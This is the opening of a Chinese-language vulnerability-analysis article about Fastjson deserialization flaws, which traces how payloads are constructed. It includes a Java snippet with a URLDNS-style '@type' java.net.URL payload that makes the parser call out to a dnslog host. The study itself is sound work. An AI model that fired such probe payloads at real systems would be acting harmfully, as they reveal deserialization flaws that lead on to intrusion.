逆向学习 fastjson 反序列化始末
作者:summersec 本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:paper@seebug.org 前言 Fastjson这款国内知名的解析json的组件,笔者在此就不多介绍,网络上有很多分析学习fastjson反序列化漏洞文章。笔者在此以一种全新角度从分析payload构造角度出发,逆向学习分析fastjson反序列化漏洞始末。 ps:漏洞学习环境以代码均在上传 Github项目 。 初窥Payload 下面是一段最简单 Fastjson的版本号反序列化--URLDNS 代码,观察发现可以提出一个问题 @type 作用? import com.alibaba.fastjson.JSON; public class urldns { public static void main(String[] args) { // dnslog平台网站:http://www.dnslog.cn/ String payload = "{{\"@type\":\"java.net.URL\",\"val\"" + ":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}"; JSON.parse(payload); } } @type的作用 下面是一段实验代码,帮助理解分析 @type 的由来。